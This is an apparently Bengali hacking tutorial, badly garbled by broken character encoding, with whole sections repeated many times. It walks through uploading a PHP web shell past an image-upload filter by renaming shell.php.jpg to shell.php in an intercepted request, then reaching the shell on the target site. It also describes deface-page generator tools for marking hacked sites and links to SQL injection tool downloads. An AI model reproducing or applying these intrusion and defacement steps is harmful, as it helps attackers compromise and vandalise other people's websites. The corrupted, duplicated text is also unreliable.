অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
